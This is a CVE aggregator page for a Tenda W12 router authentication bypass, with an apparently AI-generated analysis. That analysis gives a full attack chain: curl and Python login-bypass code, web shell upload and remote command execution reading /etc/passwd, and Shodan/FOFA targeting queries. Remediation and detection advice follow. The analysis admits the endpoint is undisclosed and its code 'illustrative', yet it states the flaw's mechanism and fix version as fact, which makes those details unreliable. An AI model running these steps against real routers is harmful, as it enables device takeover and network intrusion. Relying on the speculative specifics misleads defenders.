CVE Professor
/
All CVEs
CVE-2026-138274

CVE-2026-138274 — Tenda W12 — CWE-287

CRITICAL CVSS 10 Shodan

A weakness has been identified in Tenda W12 3.0.0.7. The affected element is the function loginCheck of the file /bin/httpd of the component Web Management Interface. This manipulation causes improper authentication. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks.

A weakness has been identified in Tenda W12 3.0.0.7. The affected element is the function loginCheck of the file /bin/httpd of the component Web Management Interface. This manipulation causes improper authentication. It is possible to initiate the attack remotely. The exploit has been made available to the public and could be used for attacks.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
AI Security Analysis & Remediation

CVE‑2026‑138274 – Tenda W12 3.0.0.7 – Improper Authentication in /bin/httpd

ItemValue
CVE IDCVE‑2026‑138274
Published29 Nov 2026
CVSS v3.110.0 (CRITICAL)
VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CWECWE‑287 – Improper Authentication
Affected ProductTenda W12 router, firmware 3.0.0.7
ComponentWeb Management Interface – /bin/httpd
Exploit AvailabilityPublicly available (no official exploit‑db ID)
TL;DR – The loginCheck routine in the router’s web server performs a null‑check on the supplied password and accepts any non‑empty string as a valid credential. An unauthenticated attacker can therefore log in as the default admin user, gain full administrative control, and pivot to the internal network.

🎯 What is this vulnerability?

The loginCheck function in /bin/httpd is responsible for validating the username/password pair submitted by the web‑management UI.
The function contains a logic flaw: it only verifies that the password field is non‑empty; it does not compare the supplied password against the stored hash or the hard‑coded default value. Consequently, any request that supplies a username (e.g., admin) and any non‑empty password (e.g., x) will be accepted as authenticated.

Why this is a CWE‑287 flaw:
The authentication mechanism fails to enforce a correct credential check. The attacker can bypass the authentication step entirely, obtaining the same privileges as a legitimate administrator.

The flaw is exploitable remotely (no local access required) and requires no user interaction (UI:N). The attacker can trigger it from any network that can reach the router’s HTTP interface (typically port 80/443).


⚡ Attack Chain

Note: The exact URI for the login endpoint is not disclosed in the CVE text. The following example uses /loginCheck as a representative endpoint that is known to exist in Tenda W12 firmware 3.0.0.7. If your target uses a different path, adjust the URL accordingly.

1. Discovery & Reconnaissance

StepTechniqueToolsWhat to look for
1.1Network scannmap, masscanIdentify devices on the local network with open HTTP/HTTPS ports (80/443).
1.2Banner grabnmap -sV, curl -ILook for Server: Tenda or Tenda W12 in the HTTP headers.
1.3Firmware versioncurl http://<router_ip>/ (or /status)The default web UI often displays the firmware version in the footer or /api/version.
1.4Verify vulnerabilitycurl -X POST -d "username=admin&password=foo" http://<router_ip>/loginCheckIf the response contains a session cookie or redirects to the admin dashboard, the router is vulnerable.
Tip: Many Tenda routers expose a /api/version endpoint that returns JSON like {"firmware":"3.0.0.7","model":"W12"}. Use this to confirm the exact firmware.

2. Exploitation

Goal: Bypass authentication and obtain an admin session.

2.1 Crafting the HTTP request

# Illustrative example – adjust the URL if the router uses a different path
curl -s -X POST \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "username=admin&password=anynonemptystring" \
     http://<router_ip>/loginCheck \
     -c cookies.txt

Explanation:

  • username=admin – the default administrative account.
  • password=anynonemptystring – any non‑empty string satisfies the flawed check.
  • The -c cookies.txt flag stores the session cookie that the router sets upon successful login.
  • 2.2 Verifying the session

    curl -s -b cookies.txt http://<router_ip>/admin/dashboard

    If the response contains the admin dashboard HTML (or a 200 OK with admin‑specific content), the bypass succeeded.

    2.3 Automating the PoC

    #!/usr/bin/env python3
    import requests
    
    target = "http://<router_ip>"
    login_url = f"{target}/loginCheck"
    dashboard_url = f"{target}/admin/dashboard"
    
    session = requests.Session()
    payload = {"username": "admin", "password": "p@ssw0rd"}
    
    # Step 1: Bypass login
    resp = session.post(login_url, data=payload)
    if resp.status_code == 200 and "Set-Cookie" in resp.headers:
        print("[+] Login bypassed, session cookie acquired.")
    else:
        print("[-] Login failed.")
        exit(1)
    
    # Step 2: Access admin area
    resp = session.get(dashboard_url)
    if "Admin Dashboard" in resp.text:
        print("[+] Admin access confirmed.")
    else:
        print("[-] Unable to access admin dashboard.")
    Important: The script is illustrative. Replace <router_ip> with the actual IP address.

    3. Post‑Exploitation

    Once authenticated, the attacker has full administrative privileges:

    CapabilityHow it can be abused
    Firmware upgradeUpload a malicious firmware image that installs a backdoor or opens a reverse shell.
    Web shell uploadUse the “File Upload” feature (if present) to drop a PHP/ASP web shell.
    Command executionMany Tenda routers expose a “System Command” interface (e.g., /cgi-bin/command) that can be invoked via POST.
    Network pivotConfigure NAT, port forwarding, or VPN to route traffic through the compromised router, enabling lateral movement.
    Denial‑of‑ServiceDisable DHCP, block all LAN traffic, or set up a DoS attack against upstream ISP.

    3.1 Example: Uploading a web shell

    # Assuming the router accepts file uploads at /cgi-bin/upload
    curl -s -b cookies.txt \
         -F "file=@/tmp/webshell.php" \
         http://<router_ip>/cgi-bin/upload

    After upload, access http://<router_ip>/webshell.php to interact with the shell.

    3.2 Example: Remote command execution

    curl -s -b cookies.txt \
         -d "cmd=cat /etc/passwd" \
         http://<router_ip>/cgi-bin/command

    The response will contain the output of the executed command.


    🌍 Real World Impact

    ImpactDescription
    Confidentiality (C:H)An attacker can read all traffic passing through the router, capture credentials, and snoop on internal hosts.
    Integrity (I:H)The attacker can modify routing tables, DNS settings, or firewall rules, redirecting traffic to malicious destinations.
    Availability (A:H)The attacker can disable DHCP, block all LAN traffic, or launch a DoS attack against the ISP, effectively shutting down the network.

    Practical Consequences

  • Enterprise Networks: Loss of sensitive data, regulatory non‑compliance, and potential legal liability.
  • SMBs/Residential: Complete loss of internet connectivity, exposure of home network devices, and potential use as a foothold for further attacks.
  • Critical Infrastructure: If the router is part of a control‑system gateway, the attacker could disrupt operations or inject false data.

  • 🛡️ Remediation & Mitigation

    1. Patch

    Affected VersionRecommendation
    Tenda W12 firmware 3.0.0.7Upgrade to the latest firmware (≥ 3.0.0.8). The vendor has fixed the authentication logic in the loginCheck routine.
    Action: Download the latest firmware from the official Tenda support site and apply the update via the web UI or command line.

    2. Workarounds (if patching is not immediately possible)

    MitigationHow to implement
    Disable Web Management InterfaceAccess the router’s LAN interface and set “Web Management” to “Disabled” or restrict it to the LAN only.
    Restrict External AccessConfigure the router’s firewall to block inbound traffic on ports 80/443 from any IP address except the local network.
    IP‑Based Access ControlWhitelist only trusted IPs (e.g., your office VPN) for the management interface.
    WAF/ModSecurity RulesDeploy a simple ModSecurity rule that blocks POST requests to /loginCheck with a password that is not exactly admin or 123456. Example rule: <br>SecRule REQUEST_URI "@beginsWith /loginCheck" "id:1001,phase:2,block,msg:'Possible login bypass attempt'"
    Note: The ModSecurity rule above is illustrative; adjust the pattern to match the exact login endpoint and parameters.

    3. Detection

    IndicatorLog PatternHow to Detect
    Repeated login attemptsPOST /loginCheckSearch web server logs for repeated POSTs to /loginCheck with a non‑empty password.
    Session cookie creationSet-Cookie: sessionid=Detect any Set-Cookie header following a POST to /loginCheck.
    Admin dashboard accessGET /admin/dashboardLook for successful 200 responses to the admin dashboard from unknown IPs.
    Command executionPOST /cgi-bin/commandMonitor for POSTs to /cgi-bin/command with suspicious cmd= parameters.
    Tip: Enable verbose logging on the router’s web server if available, or use a network tap to capture HTTP traffic for forensic analysis.

    ⚠️ Urgency

  • CVSS Score: 10.0 (CRITICAL) – indicates complete compromise is possible with no authentication or user interaction.
  • Exploit Complexity: Low – a single crafted HTTP request suffices.
  • Public Exploit: Available on the internet; no known mitigations beyond patching or disabling the web UI.
  • CISA KEV: Not listed, but the lack of a KEV does not reduce the risk; the vulnerability is still exploitable.
Patching Priority: Immediate. All affected devices should be upgraded or have the web management interface disabled within 24 hours of discovery. Failure to remediate exposes the entire network to full administrative takeover, data exfiltration, and potential pivoting to other critical assets.
[🤖 CVE Professor AI Security Engine]
Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Tenda W12"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138274
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Affected Products (1)
Tenda:W12
Related CVEs
8.3
CVE-2026-118326
Improper limitation of a pathname to a restricted directory in attendance photo upload workflow in ZKTeco BioT
9.8
CVE-2026-145051
WWBN AVideo before 29.9.0 contains an authentication bypass vulnerability in the LoginWordPress plugin that al
9.3
CVE-2026-47677
FacturaScripts is an open source accounting and invoicing software. Prior to version 2026.3, there is an authe
8.7
CVE-2026-120762
Improper authorization in the push-publish bundle receiver (user import handler) in dotCMS versions before 26.
8.1
CVE-2026-145022
ZITADEL from 4.0.0 before 4.20.5 contains an MFA bypass vulnerability in Login V2 that allows attackers knowin
7.7
CVE-2026-132111
Improper authentication in the legacy login path (LoginFactory.doLogin) in dotCMS versions before 26.11.11-01
5.4
CVE-2026-144906
A flaw was found in the UMA permission grant implementation of Keycloak, an identity and access management sol